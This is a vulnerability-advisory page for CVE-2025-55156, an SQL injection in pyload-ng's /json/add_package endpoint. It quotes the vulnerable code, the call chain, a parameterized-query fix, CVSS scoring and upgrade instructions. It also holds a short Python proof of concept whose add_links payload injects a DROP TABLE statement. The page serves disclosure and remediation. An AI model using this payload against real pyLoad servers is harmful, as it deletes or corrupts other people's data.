CVE-2025-55156 — Vulnerability in pyload-ng — CVE Details
PyLoad vulnerable to SQL Injection via API /json/add_package in add_links parameter
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.67%). Schedule for your next planned update.
Does your project use an affected pyload-ng version?
Paste your requirements.txt to check it for CVE-2025-55156 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
The parameter add_links in the API /json/add_package is vulnerable to SQL Injection. SQL injection vulnerabilities can lead to sensitive data leakage.
Details
- Affected file:https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271
- Affected code:
@style.queue
def update_link_info(self, data):
"""
data is list of tuples (name, size, status, url)
"""
self.c.executemany(
"UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)",
data,
)
ids = []
statuses = "','".join(x[3] for x in data)
self.c.execute(f"SELECT id FROM links WHERE url IN ('{statuses}')")
for r in self.c:
ids.append(int(r[0]))
return ids
statuses is constructed from data, and data is the value of the add_links parameter entered by the user through /json/add_packge. Because {statuses} is directly spliced into the SQL statement, it leads to the SQL injection vulnerability.
- Vulnerability Chain
josn_blueprint.py#add_package
src/pyload/core/api/__init__.py#add_package
src/pyload/core/managers/file_manager.py#add_links
src/pyload/core/threads/info_thread.py#run
src/pyload/core/threads/info_thread.py#update_info
src/pyload/core/managers/file_manager.py#update_file_info
src/pyload/core/database/file_database.py#update_link_info
PoC
import requests
if __name__ == "__main__":
url = "http://localhost:8000/json/add_package"
data = {
"add_name": "My Downloads1",
"add_dest": "0",
"add_links": "https://www.dailymotion.com/video/x8zzzzz') or 1; Drop table users;--",
"add_password": "mypassword"
}
response = requests.post(url, cookies=your_cookies, data=data)
print(response.status_code, response.text)
Remediation
def update_link_info(self, data):
"""
data is list of tuples (name, size, status, url)
"""
self.c.executemany(
"UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)",
data,
)
# 提取所有url
urls = [x[3] for x in data]
# 构建参数化查询,避免SQL注入
placeholders = ','.join(['?'] * len(urls))
query = f"SELECT id FROM links WHERE url IN ({placeholders}) AND status IN (1,2,3,14)"
self.c.execute(query, urls)
ids = [int(row[0]) for row in self.c.fetchall()]
return ids
Impact
Attackers can modify or delete data in the database, causing data errors or loss.
Advisory Timeline
- First published July 7, 2026 (142 days ago).
- Last revised July 7, 2026 — 0 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
pip install "pyload-ng>=0.5.0b3.dev91"
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: PyPI (1).
| Package | Fixed In |
|---|---|
| pyload-ng PyPI · Affected: 0.5.0a5.dev528, 0.5.0a5.dev532, 0.5.0a5.dev535, 0.5.0a5.dev536 (+91 more) | 0.5.0b3.dev91 |
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 9.1 score means for each attack dimension.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
References
- https://github.com/pyload/pyload/security/advisories/GHSA-pwh4-6r3m-j2rfWEB
- https://nvd.nist.gov/vuln/detail/CVE-2025-55156ADVISORY
- https://github.com/pyload/pyload/commit/134edcdf6e2a10c393743c254da3d9d90b74258fWEB
- https://github.com/pyload/pyloadPACKAGE
- https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271WEB
- https://pypi.org/project/pyload-ngPACKAGE
- https://github.com/advisories/GHSA-pwh4-6r3m-j2rfADVISORY
Frequently Asked Questions
- What is CVE-2025-55156?
- PyLoad vulnerable to SQL Injection via API /json/add_package in add_links parameter. This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.1/10).
- How do I check if my project is affected by CVE-2025-55156?
- CVE-2025-55156 affects pyload-ng. It has a 0.7% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2025-55156 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Maximum impact if exploited, often with little effort or access required.
This is a below-median EPSS score — only 46.8% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2024-32880CRITICAL
pyLoad allows upload to arbitrary folder lead to RCE
- CVE-2025-54802CRITICAL
pyLoad CNL Blueprint allows Path Traversal through `dlc_path` which leads to Remote Code Execution (RCE)
- CVE-2023-0435CRITICAL
Excessive Attack Surface in pyload-ng
- CVE-2025-54802CRITICAL
pyLoad CNL Blueprint allows Path Traversal through `dlc_path` which leads to Remote Code Execution (RCE)
- CVE-2026-35459CRITICAL
pyLoad: SSRF filter bypass via HTTP redirect in BaseDownloader (Incomplete fix for CVE-2026-33992)
- CVE-2025-53890CRITICAL
pyLoad vulnerable to XSS through insecure CAPTCHA
- CVE-2026-33992CRITICAL
pyLoad: Server-Side Request Forgery via Download Link Submission Enables Cloud Metadata Exfiltration
- CVE-2024-39205CRITICAL
pyload-ng vulnerable to RCE with js2py sandbox escape